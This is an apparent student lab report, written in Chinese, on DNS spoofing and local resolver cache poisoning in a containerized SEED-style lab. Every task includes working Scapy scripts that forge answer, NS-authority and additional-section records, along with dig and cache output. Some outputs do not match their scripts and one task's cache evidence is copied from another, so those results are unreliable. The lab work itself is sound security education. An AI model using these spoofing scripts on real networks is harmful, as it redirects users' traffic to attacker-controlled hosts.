实验 5

57118109 徐一鸣

Task 1: Directly Spoofing Response to User

当用户在网络浏览器中输入网站名称(主机名，如 www.example.com)时，用户的计算机将向本地 DNS 服务器发送 DNS 请求，以解析主机名的 IP 地址。攻击者可以嗅探 DNS 请求消息，然后他们可以立即创建一个虚假的 DNS 响应，并发送回用户机器。如果虚假回复比真实回复更早到达，用户机器将接受它，请编写一个程序来发起这样的攻击。

具体步骤如下所示：

- 进行初始环境配置：

```
[07/21/21]seed@VM:~/.../Labsetup$ dockps
9616c0db3d27  seed-router
461855878a86  local-dns-server-10.9.0.53
36f717349b75  user-10.9.0.5
9e05e8f41ec6  attacker-ns-10.9.0.153
6bf4164044e2  seed-attacker
[07/21/21]seed@VM:~/.../Labsetup$
```

- 在用户主机下使用 dig 命令查询 ns.attacker32.com，发现记录显示域名指向的 ip 地址为 10.9.0.153，正是 attacker-ns 的 ip 地址，说明 DNS 配置正确：

```
root@36f717349b75:/# dig ns.attacker32.com

; <<>> DiG 9.16.1-Ubuntu <<>> ns.attacker32.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 2228
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 95abb7f24b880e9e0100000060f8cbfe2366180c78a3e021 (good)
;; QUESTION SECTION:
;ns.attacker32.com.             IN      A

;; ANSWER SECTION:
ns.attacker32.com.      259200  IN      A       10.9.0.153

;; Query time: 0 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Thu Jul 22 01:38:06 UTC 2021
;; MSG SIZE  rcvd: 90
```

- 在攻击主机上查看 10.9.0.0/24 网段的端口名称：

```
[07/21/21]seed@VM:~/.../Labsetup$ ifconfig
br-314243f9b039: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 10.9.0.1  netmask 255.255.255.0  broadcast 10.9.0.255
        inet6 fe80::42:9ff:feff:c56e  prefixlen 64  scopeid 0x20<link>
        ether 02:42:09:ff:c5:6e  txqueuelen 0  (Ethernet)
        RX packets 31  bytes 1908 (1.9 KB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 57  bytes 6453 (6.4 KB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
```

- 编写攻击程序 attack1.py，最后一行的 iface 为网段的端口名称：

```python
#!/usr/bin/env python3
from scapy.all import *
def spoof_dns(pkt):
  if (DNS in pkt and 'example.com' in pkt[DNS].qd.qname.decode('utf-8')):
      IPpkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)
      UDPpkt = UDP(dport=pkt[UDP].sport, sport=53)
      Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type='A', ttl=259200, rdata='10.0.2.5')
      # Construct the DNS packet
      DNSpkt = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=1, rd=0, qr=1,
                   qdcount=1,ancount=1,nscount=0,arcount=0,an=Anssec)
      spoofpkt = IPpkt/UDPpkt/DNSpkt
      send(spoofpkt)
f = 'udp and src host 10.9.0.5 and dst port 53'
pkt = sniff(iface='br-314243f9b039', filter=f, prn=spoof_dns)

```

- 在 seed-router 主机下增加 eth0 端口上的网络延迟，防止真正的 DNS 响应比我们伪造的 DNS 响应先到达用户：

```
root@9616c0db3d27:/# tc qdisc add dev eth0 root netem delay 100ms
root@9616c0db3d27:/# tc qdisc show dev eth0
qdisc netem 8001: root refcnt 2 limit 1000 delay 100.0ms
```

- 在本地 DNS 服务器上清除 DNS 缓存：

```
root@461855878a86:/# rndc flush
root@461855878a86:/#
```

- 在未执行攻击程序前 dig www.example.com 会超时：

```
[07/21/21]seed@VM:~/.../Labsetup$ docksh 36
root@36f717349b75:/# dig www.example.com

; <<>> DiG 9.16.1-Ubuntu <<>> www.example.com
;; global options: +cmd
;; connection timed out; no servers could be reached
```

- 在攻击者主机下运行攻击程序 attack1.py：

```
root@VM:/volumes# python3 attack1.py
.
Sent 1 packets.
```

- 攻击后再次在用户主机下 dig www.example.com，发现此时可以查询其 DNS 信息，且攻击后 example.com 指向的 ip 地址变成了攻击者伪造的 ip 地址：

```
root@36f717349b75:/# dig www.example.com

; <<>> DiG 9.16.1-Ubuntu <<>> www.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 15591
;; flags: qr aa; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0

;; QUESTION SECTION:
;www.example.com.               IN      A

;; ANSWER SECTION:
www.example.com.        259200  IN      A       10.0.2.5

;; Query time: 276 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Thu Jul 22 02:51:44 UTC 2021
;; MSG SIZE  rcvd: 64
```

Task 2: DNS Cache Poisoning Attack - Spoofing Answers

上述攻击的目标是用户的机器。为了实现持久的效果，每次用户的机器向 www.example.com 发送 DNS 查询时，攻击者的机器必须发送一个欺骗的 DNS 响应。这可能不是很有效;有一种更好的方式来实施攻击，即针对 DNS 服务器，而不是用户的机器。

当本地 DNS 服务器接收到一个查询时，它首先从自己的缓存中查找答案;如果有答案，DNS 服务器将简单地使用缓存中的信息进行应答。如果答案不在缓存中，DNS 服务器将尝试从其他 DNS 服务器获取答案。当它得到答案时，它将把答案存储在缓存中，所以下次不需要询问其他 DNS 服务器。

因此，如果攻击者可以欺骗其他 DNS 服务器的响应，本地 DNS 服务器会将欺骗响应保存在缓存中一段时间。下一次，当用户的机器希望解析相同的主机名时，它将从缓存中获得欺骗响应。这样，攻击者只需要欺骗一次，并且影响将持续到缓存的信息过期。这种攻击称为 DNS 缓存中毒。

具体步骤如下所示：

- 编写攻击程序 attack2.py:

```python
#!/usr/bin/env python3
from scapy.all import *
def spoof_dns(pkt):
  if (DNS in pkt and 'example.com' in pkt[DNS].qd.qname.decode('utf-8')):
      IPpkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)
      UDPpkt = UDP(dport=pkt[UDP].sport, sport=53)
      Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type='A', ttl=259200, rdata='10.0.2.5')
      # Construct the DNS packet
      DNSpkt = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=1, rd=0, qr=1, qdcount=1, ancount=1, nscount=0,
      arcount=0,an=Anssec)
      spoofpkt = IPpkt/UDPpkt/DNSpkt
      send(spoofpkt)
f = 'udp and dst port 53'
pkt = sniff(iface='br-314243f9b039', filter=f, prn=spoof_dns)
```

- 运行攻击程序，结果如下所示：

```
; <<>> DiG 9.16.1-Ubuntu <<>> www.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 25293
;; flags: qr aa; QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADDITIONAL: 1

;; QUESTION SECTION:
;www.example.com.               IN      A

;; ANSWER SECTION:
www.example.com.        259200  IN      A       1.2.3.5

;; AUTHORITY SECTION:
example.com.            259200  IN      NS      ns.attacker32.com.

;; ADDITIONAL SECTION:
ns.attacker32.com.      259200  IN      A       10.9.0.153

;; Query time: 67 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Mon Jul 19 03:23:18 UTC 2021
```

- 查看 DNS 缓存，发现到伪造的 DNS 信息已经储存在缓存，攻击成功：

```
; ADDITIONAL SECTION:
s.attacker32.com.       259200  IN      A       10.9.0.153

; Query time: 67 msec
; SERVER: 10.9.0.53#53(10.9.0.53)
; WHEN: Mon Jul 19 03:23:18 UTC 2021
; MSG SIZE  rcvd: 139

oot@b7b86758d04a:/# dig www.example.com

 <<>> DiG 9.16.1-Ubuntu <<>> www.example.com
; global options: +cmd
; Got answer:
; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 9989
; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

; OPT PSEUDOSECTION:
 EDNS: version: 0, flags:; udp: 4096
 COOKIE: 5473f65a52b453450100000060f4f09ae5c212d53ba141d3 (good)
; QUESTION SECTION:
www.example.com.                IN      A

; ANSWER SECTION:
ww.example.com.         259084  IN      A       1.2.3.5

; Query time: 4 msec
; SERVER: 10.9.0.53#53(10.9.0.53)
; WHEN: Mon Jul 19 03:25:14 UTC 2021
; MSG SIZE  rcvd: 88
```

Task 3: Spoofing NS Records

在前面的任务中，我们的 DNS 缓存投毒攻击只影响一个主机名，即 www.example.com。如果用户试图获取另一个主机名的 IP 地址，例如 mail.example.com，我们需要再次发起攻击，如果我们发起一次攻击就能影响整个 example.com 域，那么效率会更高。

这个想法是在 DNS 应答中使用 Authority 部分。基本上，当我们欺骗应答时，除了欺骗应答(在 answer 部分中)外，我们还在 Authority 部分中添加了以下内容。当此条目被本地 DNS 服务器缓存时，nss.attacker32.com 将被用作以后查询 example.com 域中任何主机名时的名称服务器。由于 ns.attacker32.com 是由攻击者控制的，它可以为任何查询提供伪造的答案。在我们的设置中，这台机器的 IP 地址是 10.9.0.153。

具体步骤如下所示：

- 编写攻击程序 attack3.py：

```python
#!/usr/bin/env python3
from scapy.all import *

def spoof_dns(pkt):
  if (DNS in pkt and 'example.com' in pkt[DNS].qd.qname.decode('utf-8')):
      IPpkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)
      UDPpkt = UDP(dport=pkt[UDP].sport, sport=53)
      Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type='A', ttl=259200, rdata='10.0.2.5')
      NSsec1=DNSRR(rrname='example.com',type='NS',ttl=259200,rdata='ns.attacker32.com')
      # Construct the DNS packet
      DNSpkt = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=1, rd=0, qr=1, qdcount=1, ancount=1, nscount=1, arcount=0,an=Anssec,ns=NSsec1)
      spoofpkt = IPpkt/UDPpkt/DNSpkt
      send(spoofpkt)
f = 'udp and dst port 53'
pkt = sniff(iface='br-314243f9b039', filter=f, prn=spoof_dns)
```

- 执行程序，查询 example.com 的信息如下所示：

```
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 44379
;; flags: qr aa; QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADDITIONAL: 0

;; QUESTION SECTION:
;example.com.                   IN      A

;; ANSWER SECTION:
example.com.            259200  IN      A       10.0.2.5

;; AUTHORITY SECTION:
example.com.            259200  IN      NS      ns.attacker32.com.

;; Query time: 60 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Mon Jul 19 10:21:11 UTC 2021
```

- 查询 DNS 缓存，发现攻击数据已写入 DNS 缓存中：

```
; ADDITIONAL SECTION:
s.attacker32.com.       259200  IN      A       10.9.0.153

; Query time: 67 msec
; SERVER: 10.9.0.53#53(10.9.0.53)
; WHEN: Mon Jul 19 03:23:18 UTC 2021
; MSG SIZE  rcvd: 139

oot@b7b86758d04a:/# dig www.example.com

 <<>> DiG 9.16.1-Ubuntu <<>> www.example.com
; global options: +cmd
; Got answer:
; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 9989
; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

; OPT PSEUDOSECTION:
 EDNS: version: 0, flags:; udp: 4096
 COOKIE: 5473f65a52b453450100000060f4f09ae5c212d53ba141d3 (good)
; QUESTION SECTION:
www.example.com.                IN      A

; ANSWER SECTION:
ww.example.com.         259084  IN      A       1.2.3.5

; Query time: 4 msec
; SERVER: 10.9.0.53#53(10.9.0.53)
; WHEN: Mon Jul 19 03:25:14 UTC 2021
; MSG SIZE  rcvd: 88
```

Task 4: Spoofing NS Records for Another

在前面的攻击中，我们成功地毒害了本地 DNS 服务器的缓存，因此 nss.attacker32.com 成为 example.com 域的 nameserver。受到这一成功的鼓舞，我们愿意将其影响扩大到其他领域。也就是说，在对 www.example.com 的查询触发的欺骗响应中，我们希望在 Authority 部分添加额外的条目(参见下面的内容)，因此是 ns.attacker32.com 也被用作 google.com 的名称服务器。

请稍微修改您的攻击代码，以便在您的本地 DNS 服务器上启动上述攻击。攻击结束后，检查 DNS 缓存，查看缓存的是哪条记录。请描述和解释你的观察。需要注意的是，我们攻击的查询仍然是对 example.com 的查询，而不是对 google.com 的查询。

具体步骤如下所示：

- 修改上述代码为 attack4.py：

```python
#!/usr/bin/env python3
from scapy.all import *
def spoof_dns(pkt):
  if (DNS in pkt and 'example.com' in pkt[DNS].qd.qname.decode('utf-8')):
      IPpkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)
      UDPpkt = UDP(dport=pkt[UDP].sport, sport=53)
      Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type='A', ttl=259200, rdata='10.0.2.5')
      NSsec1 = DNSRR(rrname='example.com', type='NS',ttl=259200, rdata='ns.attacker32.com')
      NSsec2 = DNSRR(rrname='google.com', type='NS',ttl=259200, rdata0='ns.attacker32.com')
      # Construct the DNS packet
      DNSpkt = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=1, rd=0, qr=1, qdcount=1, ancount=1, nscount=2, arcount=0,an=Anssec,ns=NSsec1/NSsec2)
      spoofpkt = IPpkt/UDPpkt/DNSpkt
      send(spoofpkt)
f = 'udp and dst port 53'
pkt = sniff(iface='br-314243f9b039', filter=f, prn=spoof_dns)
```

- 执行程序，查询 example.com 的信息：

```
; <<>> DiG 9.16.1-Ubuntu <<>> www.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 35749
;; flags: qr aa; QUERY: 1, ANSWER: 1, AUTHORITY: 2, ADDITIONAL: 1

;; QUESTION SECTION:
;www.example.com.               IN      A

;; ANSWER SECTION:
www.example.com.        259200  IN      A       1.2.3.5

;; AUTHORITY SECTION:
google.com.             260000  IN      NS      ns.attacker32.com.
example.com.            259200  IN      NS      ns.attacker32.com.

;; ADDITIONAL SECTION:
ns.attacker32.com.      259200  IN      A       10.9.0.153

;; Query time: 67 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Mon Jul 19 06:24:32 UTC 2021
;; MSG SIZE  rcvd: 180
```

- 将 DNS 设置参数改为 ns=NSsec2/NSsec1，发现 google.com 到 attacker32.com 的映射被存储到缓存中，DNS 缓存虽然能在 AUTHORITY SECTION 中同时映射，但只写入 ns 参数设置中的第一条：

```
; additional
ns.attacker32.com.      863976  A       10.9.0.153
; authanswer
_.example.com.          863976  A       1.2.3.5
; authanswer
www.example.com.        863976  A       1.2.3.5
; authauthority
google.com.             864776  NS      ns.attacker32.com.
; glue
a.gtld-servers.net.     777576  A       192.5.6.30
; glue
                        777576  AAAA    2001:503:a83e::2:30
```

Task 4: Spoofing Records in the Additional Section

在 DNS 应答中，有一个称为“附加部分”的部分，用于提供附加信息。实际上，它主要用于为一些主机名提供 IP 地址，特别是在管理局一节中出现的主机名。此任务的目标是欺骗本节中的一些条目，并查看它们是否会被目标本地 DNS 服务器成功缓存。特别是，当响应 www.example.com 的查询时，除了 Answer 部分中的条目外，我们还在欺骗应答中添加了条目。

条目①和 hirose 与管理局部分中的主机名有关，条目③与回复中的任何条目完全无关，但它为用户提供了“亲切”的帮助，所以他们不需要查找 Facebook 的 IP 地址。请使用 Scapy 欺骗这样的 DNS 应答。您的任务是报告哪些条目将被成功缓存，哪些条目将不会被缓存，请解释为什么。

具体步骤如下所示：

- 编写代码 attack5 代码中添加三条附加字段的内容，arcount=3：

```python
#!/usr/bin/env python3
from scapy.all import *

def spoof_dns(pkt):
  if (DNS in pkt and 'example.com' in pkt[DNS].qd.qname.decode('utf-8')):
      IPpkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)
      UDPpkt = UDP(dport=pkt[UDP].sport, sport=53)
      Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type='A', ttl=259200, rdata='10.0.2.5')
      NSsec1 = DNSRR(rrname='example.com', type='NS',ttl=259200, rdata='ns.attacker32.com')
      NSsec2 = DNSRR(rrname='example.com', type='NS',ttl=259200, rdata='ns.example.com')
      Addsec1 = DNSRR(rrname='ns.attacker32.com', type='A',ttl=259200, rdata='1.2.3.4')
      Addsec2 = DNSRR(rrname='ns.example.com', type='A',ttl=259200, rdata='5.6.7.8')
      Addsec3 = DNSRR(rrname='www.facebook.com', type='A',ttl=259200, rdata='3.4.5.6')
      DNSpkt = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=1, rd=0, qr=1, qdcount=1,ancount=1,nscount=2,arcount=3,an=Anssec,ns=NSsec1/NSsec2,ar=Addsec1/-
  Addsec2/Addsec3)
      spoofpkt = IPpkt/UDPpkt/DNSpkt
      send(spoofpkt)
f = 'udp and dst port 53'
pkt = sniff(iface='br-314243f9b039', filter=f, prn=spoof_dns)
```

- 执行攻击程序，dig www.example.com 输出如下所示：

```
; <<>> DiG 9.16.1-Ubuntu <<>> www.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 19180
;; flags: qr aa; QUERY: 1, ANSWER: 1, AUTHORITY: 2, ADDITIONAL: 3

;; QUESTION SECTION:
;www.example.com.               IN      A

;; ANSWER SECTION:
www.example.com.        259200  IN      A       1.2.3.5

;; AUTHORITY SECTION:
example.com.            259200  IN      NS      ns.example.com.
example.com.            259200  IN      NS      ns.attacker32.com.

;; ADDITIONAL SECTION:
ns.attacker32.com.      259200  IN      A       10.9.0.153
ns.example.com.         259200  IN      A       5.6.7.8
www.facebook.com.       259200  IN      A       3.4.5.6

;; Query time: 59 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Mon Jul 19 08:39:53 UTC 2021
;; MSG SIZE  rcvd: 240
```

- 查看缓存,发现在缓存中只有 attack32.com 和 ns.example.net，而没有 www.facebook.com，因为 additional 中的记录只与权威字段 authority 中条目相关，才会将其存入到 dns 的缓存中：

```
; additional
ns.example.com.         863963  A       5.6.7.8
; authanswer
www.example.com.        863963  A       1.2.3.5
; glue
a0.org.afilias-nst.info. 777563 A       199.19.56.1
; glue
```